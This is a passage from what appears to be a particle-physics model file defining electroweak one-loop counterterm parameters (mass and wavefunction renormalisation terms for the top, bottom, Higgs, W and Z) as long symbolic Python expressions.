0:'( 0 if MB == 0 else recms(CMSParam==1.0,(ee*MB**4*Ncol*(1 - reglog(MB**2/MU_R**2)))/(8.*MW*cmath.pi**2*sw)) )'},
texname = '\delta ht^{EW,MB}')
dMB_tMass_UV_EW = CTParameter(name = 'dMB_tMass_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and WT != 0,(-3*ee**2*MB**2*MT)/(128.*MW**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WT != 0,(ee**2*(9*cw**2*MB**4 - 45*cw**2*MB**2*MT**2 + 9*cw**2*MB**2*MW**2 - 9*cw**2*MT**4*reglog(16.) + 48*MT**2*MW**2*sw**2*reglog(16.) - 64*cw**2*MT**2*MW**2*sw**2*reglog(16.) - 64*MT**2*MW**2*sw**4*reglog(16.) - 45*cw**2*MT**4*reglog(cmath.pi) - 18*cw**2*MT**2*MW**2*reglog(cmath.pi) + 192*MT**2*MW**2*sw**2*reglog(cmath.pi) - 272*cw**2*MT**2*MW**2*sw**2*reglog(cmath.pi) - 256*MT**2*MW**2*sw**4*reglog(cmath.pi) + 54*cw**2*MT**4*reglog(2*cmath.pi) + 36*cw**2*MT**2*MW**2*reglog(2*cmath.pi) - 192*MT**2*MW**2*sw**2*reglog(2*cmath.pi) + 288*cw**2*MT**2*MW**2*sw**2*reglog(2*cmath.pi) + 256*MT**2*MW**2*sw**4*reglog(2*cmath.pi) - 9*cw**2*MT**4*reglog(4*cmath.pi) - 18*cw**2*MT**2*MW**2*reglog(4*cmath.pi) - 16*cw**2*MT**2*MW**2*sw**2*reglog(4*cmath.pi)))/(1152.*cw**2*MT*MW**2*cmath.pi**2*sw**2) - (ee**2*MB**2*(MB**2 + MT**2 + 2*MW**2)*(-reglog(MB**2/MU_R**2)))/(128.*MT*MW**2*cmath.pi**2*sw**2) - (ee**2*(MT**4 - MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*reglog(MU_R**2/MW**2))/(128.*MT*MW**2*cmath.pi**2*sw**2) - (ee**2*(MB**4 - 2*MB**2*MT**2 + MT**4 + MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*reglog((MT**2 + vep*complex(0,-1))/MU_R**2))/(128.*MT*MW**2*cmath.pi**2*sw**2) + (ee**2*(MT - MW)**2*(MT + MW)**2*(MT**2 + 2*MW**2)*reglogm((-MT**2 + MW**2 + vep*complex(0,-1))/MW**2))/(128.*MT**3*MW**2*cmath.pi**2*sw**2) - (ee**2*(MB**4 - 2*MB**2*MT**2 + MT**4 + MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*reglogm((MB**2 - MT**2 - MW**2 - cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(2.*MT**2)))/(128.*MT*MW**2*cmath.pi**2*sw**2) - (ee**2*(MB**4 - 2*MB**2*MT**2 + MT**4 + MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(2.*MT**2)))/(128.*MT*MW**2*cmath.pi**2*sw**2) + (ee**2*(MB**4 - 2*MB**2*MT**2 + MT**4 + MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*(MB**2 + MT**2 - MW**2 + cmath.sqrt(MB**4 - 2*MB**2*MT**2 + MT**4 - 2*MB**2*MW**2 - 2*MT**2*MW**2 + MW**4 + MT**2*vep*complex(0,4)))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))))/(256.*MT**3*MW**2*cmath.pi**2*sw**2) + (ee**2*(MB**4 - 2*MB**2*MT**2 + MT**4 + MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*(MB**2 + MT**2 - MW**2 - cmath.sqrt(MB**4 - 2*MB**2*MT**2 + MT**4 - 2*MB**2*MW**2 - 2*MT**2*MW**2 + MW**4 + MT**2*vep*complex(0,4)))*reglogm((-MB**2 + MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(-MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))))/(256.*MT**3*MW**2*cmath.pi**2*sw**2)) )'},
texname = '\delta m_t^{EW,MB}')
dMB_bMass_UV_EW = CTParameter(name = 'dMB_bMass_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0,(ee**2*MB*(MW**2*(3 + 12*sw**2 - 8*sw**4) + cw**2*(9*MB**2 - 9*MT**2 + 2*MW**2*(3 - 4*sw**2))))/(384.*cw**2*MW**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0,-(ee**2*(-72*cw**2*MB**4 + 9*cw**2*MB**2*MH**2 + 45*cw**2*MB**2*MT**2 - 9*cw**2*MT**4 - 18*MB**2*MW**2 - 9*cw**2*MB**2*MW**2 - 9*cw**2*MT**2*MW**2 + 18*cw**2*MW**4 + 9*cw**2*MB**2*MZ**2 + 9*MW**2*MZ**2 - 48*MB**2*MW**2*sw**2 + 32*cw**2*MB**2*MW**2*sw**2 - 12*MW**2*MZ**2*sw**2 + 32*MB**2*MW**2*sw**4 + 8*MW**2*MZ**2*sw**4 - 9*cw**2*MB**4*reglog(16.) - 24*MB**2*MW**2*sw**2*reglog(16.) + 16*cw**2*MB**2*MW**2*sw**2*reglog(16.) + 16*MB**2*MW**2*sw**4*reglog(16.) + 9*cw**2*MB**4*reglog(1/(4.*cmath.pi)) + 9*MB**2*MW**2*reglog(1/(4.*cmath.pi)) - 12*MB**2*MW**2*sw**2*reglog(1/(4.*cmath.pi)) + 4*MB**2*MW**2*sw**4*reglog(1/(4.*cmath.pi)) - 18*cw**2*MB**4*reglog(cmath.pi) + 18*cw**2*MB**2*MW**2*reglog(cmath.pi) - 48*MB**2*MW**2*sw**2*reglog(cmath.pi) + 40*cw**2*MB**2*MW**2*sw**2*reglog(cmath.pi) + 32*MB**2*MW**2*sw**4*reglog(cmath.pi) - 36*cw**2*MB**2*MW**2*reglog(2*cmath.pi) - 16*cw**2*MB**2*MW**2*sw**2*reglog(2*cmath.pi) + 27*cw**2*MB**4*reglog(4*cmath.pi) + 9*MB**2*MW**2*reglog(4*cmath.pi) + 18*cw**2*MB**2*MW**2*reglog(4*cmath.pi) + 36*MB**2*MW**2*sw**2*reglog(4*cmath.pi) - 24*cw**2*MB**2*MW**2*sw**2*reglog(4*cmath.pi) - 28*MB**2*MW**2*sw**4*reglog(4*cmath.pi)))/(1152.*cw**2*MB*MW**2*cmath.pi**2*sw**2) - (ee**2*MB*(18*cw**2*MB**2 + 9*MW**2 - 12*MW**2*sw**2 + 24*cw**2*MW**2*sw**2 + 8*MW**2*sw**4)*(-reglog(MB**2/MU_R**2)))/(1152.*cw**2*MW**2*cmath.pi**2*sw**2) + (ee**2*MB*MH**2*reglog(MU_R**2/MH**2))/(128.*MW**2*cmath.pi**2*sw**2) - (ee**2*MT**2*(MB**2 + MT**2 + 2*MW**2)*reglog(MU_R**2/MT**2))/(128.*MB*MW**2*cmath.pi**2*sw**2) + (ee**2*(MB**2 + MT**2 + 2*MW**2)*reglog(MU_R**2/MW**2))/(128.*MB*cmath.pi**2*sw**2) + (ee**2*MZ**2*(9*cw**2*MB**2 + 9*MW**2 - 12*MW**2*sw**2 + 8*MW**2*sw**4)*reglog(MU_R**2/MZ**2))/(1152.*cw**2*MB*MW**2*cmath.pi**2*sw**2) - (ee**2*(45*cw**2*MB**4 - 9*cw**2*MB**2*MH**2 - 18*cw**2*MB**2*MT**2 + 9*cw**2*MT**4 + 18*MB**2*MW**2 + 9*cw**2*MB**2*MW**2 + 9*cw**2*MT**2*MW**2 - 18*cw**2*MW**4 - 9*cw**2*MB**2*MZ**2 - 9*MW**2*MZ**2 + 24*MB**2*MW**2*sw**2 + 12*MW**2*MZ**2*sw**2 - 16*MB**2*MW**2*sw**4 - 8*MW**2*MZ**2*sw**4)*reglog((MB**2 + vep*complex(0,-1))/MU_R**2))/(1152.*cw**2*MB*MW**2*cmath.pi**2*sw**2) - (ee**2*MB*(2*MB - MH)*(2*MB + MH)*reglogm((-MH**2 - cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(2.*MB**2)))/(128.*MW**2*cmath.pi**2*sw**2) - (ee**2*MB*(2*MB - MH)*(2*MB + MH)*reglogm((-MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(2.*MB**2)))/(128.*MW**2*cmath.pi**2*sw**2) + (ee**2*(2*MB - MH)*(2*MB + MH)*(2*MB**2 - MH**2 + cmath.sqrt(-4*MB**2*MH**2 + MH**4 + MB**2*vep*complex(0,4)))*reglogm((-MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(2*MB**2 - MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))))/(256.*MB*MW**2*cmath.pi**2*sw**2) + (ee**2*(2*MB - MH)*(2*MB + MH)*(2*MB**2 - MH**2 - cmath.sqrt(-4*MB**2*MH**2 + MH**4 + MB**2*vep*complex(0,4)))*reglogm((MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))/(-2*MB**2 + MH**2 + cmath.sqrt(MH**4 - 4*MB**2*(MH**2 + vep*complex(0,-1))))))/(256.*MB*MW**2*cmath.pi**2*sw**2) - (ee**2*(MB**4 - 2*MB**2*MT**2 + MT**4 + MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*reglogm((-MB**2 + MT**2 - MW**2 - cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(2.*MB**2)))/(128.*MB*MW**2*cmath.pi**2*sw**2) - (ee**2*(MB**4 - 2*MB**2*MT**2 + MT**4 + MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*reglogm((-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(2.*MB**2)))/(128.*MB*MW**2*cmath.pi**2*sw**2) + (ee**2*(MB**4 - 2*MB**2*MT**2 + MT**4 + MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*(MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))*reglogm((-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))))/(256.*MB**3*MW**2*cmath.pi**2*sw**2) + (ee**2*(MB**4 - 2*MB**2*MT**2 + MT**4 + MB**2*MW**2 + MT**2*MW**2 - 2*MW**4)*(MB**2 + MT**2 - MW**2 - cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))*reglogm((MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))/(-MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MB**2*(MT**2 + vep*complex(0,-1))))))/(256.*MB**3*MW**2*cmath.pi**2*sw**2) + (ee**2*(-18*MB**2*MW**2 + 9*cw**2*MB**2*MZ**2 + 9*MW**2*MZ**2 - 24*MB**2*MW**2*sw**2 - 12*MW**2*MZ**2*sw**2 + 16*MB**2*MW**2*sw**4 + 8*MW**2*MZ**2*sw**4)*reglogm((-MZ**2 - cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(2.*MB**2)))/(1152.*cw**2*MB*MW**2*cmath.pi**2*sw**2) + (ee**2*(-18*MB**2*MW**2 + 9*cw**2*MB**2*MZ**2 + 9*MW**2*MZ**2 - 24*MB**2*MW**2*sw**2 - 12*MW**2*MZ**2*sw**2 + 16*MB**2*MW**2*sw**4 + 8*MW**2*MZ**2*sw**4)*reglogm((-MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(2.*MB**2)))/(1152.*cw**2*MB*MW**2*cmath.pi**2*sw**2) - (ee**2*(-18*MB**2*MW**2 + 9*cw**2*MB**2*MZ**2 + 9*MW**2*MZ**2 - 24*MB**2*MW**2*sw**2 - 12*MW**2*MZ**2*sw**2 + 16*MB**2*MW**2*sw**4 + 8*MW**2*MZ**2*sw**4)*(2*MB**2 - MZ**2 + cmath.sqrt(-4*MB**2*MZ**2 + MZ**4 + MB**2*vep*complex(0,4)))*reglogm((-MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(2*MB**2 - MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))))/(2304.*cw**2*MB**3*MW**2*cmath.pi**2*sw**2) - (ee**2*(-18*MB**2*MW**2 + 9*cw**2*MB**2*MZ**2 + 9*MW**2*MZ**2 - 24*MB**2*MW**2*sw**2 - 12*MW**2*MZ**2*sw**2 + 16*MB**2*MW**2*sw**4 + 8*MW**2*MZ**2*sw**4)*(2*MB**2 - MZ**2 - cmath.sqrt(-4*MB**2*MZ**2 + MZ**4 + MB**2*vep*complex(0,4)))*reglogm((MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))/(-2*MB**2 + MZ**2 + cmath.sqrt(MZ**4 - 4*MB**2*(MZ**2 + vep*complex(0,-1))))))/(2304.*cw**2*MB**3*MW**2*cmath.pi**2*sw**2)) )'},
texname = '\delta m_t^{EW,MB}')
dMB_HMass2_UV_EW = CTParameter(name = 'dMB_HMass2_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and WH != 0,-(ee**2*MB**2*(6*MB**2 - MH**2)*Ncol)/(32.*MW**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WH != 0,(ee**2*MB**2*Ncol*(-40*MB**2 + 8*MH**2 + MH**2*reglog(256.) - MB**2*reglog(281474976710656.) - 24*MB**2*reglog(cmath.pi) + 4*MH**2*reglog(cmath.pi) + 4*(6*MB**2 - MH**2)*reglog(4*cmath.pi) - 8*MB**2*(-reglog(MB**2/MU_R**2)) + 4*(2*MB - MH)*(2*MB + MH)*reglog((MH**2 + vep*complex(0,-1))/MU_R**2) + 4*(2*MB - MH)*(2*MB + MH)*reglogm((-MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))/(2.*MH**2)) - (2*(2*MB - MH)*(2*MB + MH)*(MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))*reglogm((-MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))/(MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))))/MH**2 + 4*(2*MB - MH)*(2*MB + MH)*reglogm(-(MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))/(2.*MH**2)) + (2*(-2*MB + MH)*(2*MB + MH)*(MH**2 - cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))*reglogm((MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))/(-MH**2 + cmath.sqrt(MH**2*(-4*MB**2 + MH**2 + vep*complex(0,4))))))/MH**2))/(128.*MW**2*cmath.pi**2*sw**2)) )'},
texname = '\delta m2_H^{EW,MB}')
dMB_WMass2_UV_EW = CTParameter(name = 'dMB_WMass2_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and WW != 0,-(ee**2*MB**2*Ncol)/(32.*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WW != 0,(ee**2*Ncol*(6*MB**2*reglog(4*cmath.pi) + (-2*MB**2*MW**2*(MB**2 - 2*MT**2 + MW**2*(2 + reglog(64.) + 3*reglog(cmath.pi))) + 2*MB**2*MW**2*(MB**2 - MT**2 - 2*MW**2)*(-reglog(MB**2/MU_R**2)) + 2*MW**2*(-(MB**2*MT**2) + MT**4 + MT**2*MW**2 - 2*MW**4)*reglog(MU_R**2/MT**2) + 2*(MT - MW)**2*(MT + MW)**2*(MT**2 + 2*MW**2)*reglogm((MT**2 - MW**2 + vep*complex(0,-1))/MT**2) - 2*MW**2*(-MB**4 - MT**4 - MT**2*MW**2 + 2*MW**4 + MB**2*(2*MT**2 - MW**2))*reglog((MW**2 + vep*complex(0,-1))/MU_R**2) - 2*MW**2*(-MB**4 - MT**4 - MT**2*MW**2 + 2*MW**4 + MB**2*(2*MT**2 - MW**2))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)) - (MB**4 + MT**4 + MT**2*MW**2 - 2*MW**4 + MB**2*(-2*MT**2 + MW**2))*(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))) - 2*MW**2*(-MB**4 - MT**4 - MT**2*MW**2 + 2*MW**4 + MB**2*(2*MT**2 - MW**2))*reglogm(-(-MB**2 + MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(2.*MW**2)) + (MB**4 + MT**4 + MT**2*MW**2 - 2*MW**4 + MB**2*(-2*MT**2 + MW**2))*(-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))*reglogm((-MB**2 + MT**2 + MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))/(-MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 - MT**2 + MW**2)**2 - 4*MW**2*(MB**2 + vep*complex(0,-1))))))/MW**4))/(192.*cmath.pi**2*sw**2)) )'},
texname = '\delta m2_W^{EW,MB}')
dMB_ZMass2_UV_EW = CTParameter(name = 'dMB_ZMass2_UV_EW',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0 and WZ != 0,-(ee**2*MB**2*Ncol)/(32.*cw**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WZ != 0,(ee**2*(2*MB**2*Ncol*(-48*sw**2 + 32*sw**4 - reglog(18014398509481984.) - 9*(2 + 3*reglog(cmath.pi))) + 54*MB**2*Ncol*reglog(4*cmath.pi) - 4*MB**2*Ncol*(9 - 12*sw**2 + 8*sw**4)*(-reglog(MB**2/MU_R**2)) - 2*Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*reglog((MZ**2 + vep*complex(0,-1))/MU_R**2) + 4*MZ**2*(27*(1 - 2*sw**2 + 4*sw**4) + 2*Ncol*(9 - 18*sw**2 + 20*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 2*MZ**2*(54*(1 - 2*sw**2 + 4*sw**4) + Ncol*(45 - 84*sw**2 + 88*sw**4))*reglogp(-(MU_R**2/(MZ**2 + vep*complex(0,1)))) - 2*Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + (Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**2 - 2*Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*reglogm(-(MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(2.*MZ**2)) + (Ncol*(MZ**2*(9 - 12*sw**2 + 8*sw**4) + MB**2*(-9 - 24*sw**2 + 16*sw**4))*(MZ**2 - cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))*reglogm((MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))/(-MZ**2 + cmath.sqrt(MZ**2*(-4*MB**2 + MZ**2 + vep*complex(0,4))))))/MZ**2))/(1728.*cw**2*cmath.pi**2*sw**2)) )'},
texname = '\delta m2_Z^{EW,MB}')
dMB_tWcft_UV_EW_R = CTParameter(name = 'dMB_tWcft_UV_EW_R',
type = 'complex',
value = { 0:'( 0 if MB == 0 else recms(CMSParam==1.0 and WT != 0,(ee**2*(18*MB**4 - 18*MB**2*MT**2 + 18*MB**2*MW**2 + 9*MT**4*reglog(16.) - 32*MT**2*MW**2*sw**2*reglog(16.) + 16*MT**2*MW**2*sw**2*reglog(64.) + 36*MT**4*reglog(cmath.pi) - 32*MT**2*MW**2*sw**2*reglog(cmath.pi) - 36*MT**4*reglog(2*cmath.pi) + 32*MT**2*MW**2*sw**2*reglog(2*cmath.pi)))/(576.*MT**2*MW**2*cmath.pi**2*sw**2) - (ee**2*MB**2*(2*MB**6 - 5*MB**4*MT**2 + 4*MB**2*MT**4 - MT**6 - 4*MB**2*MT**2*MW**2 - 6*MB**2*MW**4 - 3*MT**2*MW**4 + 4*MW**6)*(-reglog(MB**2/MU_R**2)))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(MB**4*MT**4 - 2*MB**2*MT**6 + MT**8 + 2*MB**6*MW**2 - 3*MB**4*MT**2*MW**2 - 2*MB**2*MT**4*MW**2 - MT**6*MW**2 - 2*MB**2*MT**2*MW**4 + 3*MT**4*MW**4 - 6*MB**2*MW**6 - 7*MT**2*MW**6 + 4*MW**8)*reglog(MU_R**2/MW**2))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(2*MB**8 - 5*MB**6*MT**2 + 3*MB**4*MT**4 + MB**2*MT**6 - MT**8 - 2*MB**6*MW**2 - MB**4*MT**2*MW**2 + 2*MB**2*MT**4*MW**2 + MT**6*MW**2 - 6*MB**4*MW**4 - MB**2*MT**2*MW**4 - 3*MT**4*MW**4 + 10*MB**2*MW**6 + 7*MT**2*MW**6 - 4*MW**8)*reglog((MT**2 + vep*complex(0,-1))/MU_R**2))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(MT - MW)*(MT + MW)*(MT**4 + MT**2*MW**2 + 4*MW**4)*reglogm((-MT**2 + MW**2 + vep*complex(0,-1))/MW**2))/(64.*MT**4*MW**2*cmath.pi**2*sw**2) - (ee**2*(2*MB**8 - 5*MB**6*MT**2 + 3*MB**4*MT**4 + MB**2*MT**6 - MT**8 - 2*MB**6*MW**2 - MB**4*MT**2*MW**2 + 2*MB**2*MT**4*MW**2 + MT**6*MW**2 - 6*MB**4*MW**4 - MB**2*MT**2*MW**4 - 3*MT**4*MW**4 + 10*MB**2*MW**6 + 7*MT**2*MW**6 - 4*MW**8)*reglogm((MB**2 - MT**2 - MW**2 - cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(2.*MT**2)))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(2*MB**8 - 5*MB**6*MT**2 + 3*MB**4*MT**4 + MB**2*MT**6 - MT**8 - 2*MB**6*MW**2 - MB**4*MT**2*MW**2 + 2*MB**2*MT**4*MW**2 + MT**6*MW**2 - 6*MB**4*MW**4 - MB**2*MT**2*MW**4 - 3*MT**4*MW**4 + 10*MB**2*MW**6 + 7*MT**2*MW**6 - 4*MW**8)*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(2.*MT**2)))/(64.*MT**2*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) + (ee**2*(2*MB**8 - 5*MB**6*MT**2 + 3*MB**4*MT**4 + MB**2*MT**6 - MT**8 - 2*MB**6*MW**2 - MB**4*MT**2*MW**2 + 2*MB**2*MT**4*MW**2 + MT**6*MW**2 - 6*MB**4*MW**4 - MB**2*MT**2*MW**4 - 3*MT**4*MW**4 + 10*MB**2*MW**6 + 7*MT**2*MW**6 - 4*MW**8)*(MB**2 + MT**2 - MW**2 + cmath.sqrt(MB**4 - 2*MB**2*MT**2 + MT**4 - 2*MB**2*MW**2 - 2*MT**2*MW**2 + MW**4 + MT**2*vep*complex(0,4)))*reglogm((MB**2 - MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(MB**2 + MT**2 - MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))))/(128.*MT**4*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2) - (ee**2*(2*MB**8 - 5*MB**6*MT**2 + 3*MB**4*MT**4 + MB**2*MT**6 - MT**8 - 2*MB**6*MW**2 - MB**4*MT**2*MW**2 + 2*MB**2*MT**4*MW**2 + MT**6*MW**2 - 6*MB**4*MW**4 - MB**2*MT**2*MW**4 - 3*MT**4*MW**4 + 10*MB**2*MW**6 + 7*MT**2*MW**6 - 4*MW**8)*(-MB**2 - MT**2 + MW**2 + cmath.sqrt(MB**4 - 2*MB**2*MT**2 + MT**4 - 2*MB**2*MW**2 - 2*MT**2*MW**2 + MW**4 + MT**2*vep*complex(0,4)))*reglogm((-MB**2 + MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))/(-MB**2 - MT**2 + MW**2 + cmath.sqrt((MB**2 + MT**2 - MW**2)**2 - 4*MT**2*(MB**2 + vep*complex(0,-1))))))/(128.*MT**4*(MB - MT - MW)*(MB + MT - MW)*MW**2*(MB - MT + MW)*(MB + MT + MW)*cmath.pi**2*sw**2)) )'},
texname = '\delta ZR_t^{EW,MB}')
dMB_bWcft_UV_EW_R = CTParameter(name = 'dMB_bWcft_UV_EW_R',
type = 'complex',
value = {-1:'( 0 if MB == 0 else recms(CMSParam==1.0,-(ee**2*(3*MB**2 + 2*MW**2*sw**2))/(96.*MW**2*cmath.pi**2*sw**2)) )',
0:'( 0 if MB == 0 else recms(CMSParam==1.0,-(ee**2*(-36*cw**2*MB**4 + 27*cw**2*MB**2*MH**2 + 36*cw**2*MB**2*MT**2 - 36*cw**2*MT**4 - 54*MB**2*MW**2 - 18*cw**2*MB**2*MW**2 - 36*cw**2*MT**2*MW**2 + 72*cw**2*MW**4 + 27*cw**2*MB**2*MZ**2 + 36*MW**2*MZ**2 - 24*MB**2*MW**2*sw**2 + 32*cw**2*MB**2*MW**2*sw**2 - 48*MW**2*MZ**2*sw**2 + 36*MB**2*MW**2*sw**4 + 24*MW**2*MZ**2*sw**4 + 18*cw**2*MB**4*reglog(16.) + 16*cw**2*MB**2*MW**2*sw**2*reglog(16.) - 4*MB**2*MW**2*sw**4*reglog(16.) - 4*cw**2*MB**2*MW**2*sw**2*reglog(256.) + 36*cw**2*MB**4*reglog(cmath.pi) + 8*cw**2*MB**2*MW**2*sw**2*reglog(cmath.pi) - 8*MB**2*MW**2*sw**4*reglog(cmath.pi) + 16*cw**2*MB**2*MW**2*sw**2*reglog(2*cmath.pi) - 36*cw**2*MB**4*reglog(4*cmath.pi) - 24*cw**2*MB**2*MW**2*sw**2*reglog(4*cmath.pi) + 8*MB**2*MW**2*sw**4*reglog(4*cmath.pi)))/(1152.*cw**2*MB**2*MW**2*cmath.pi**2*sw**2) - 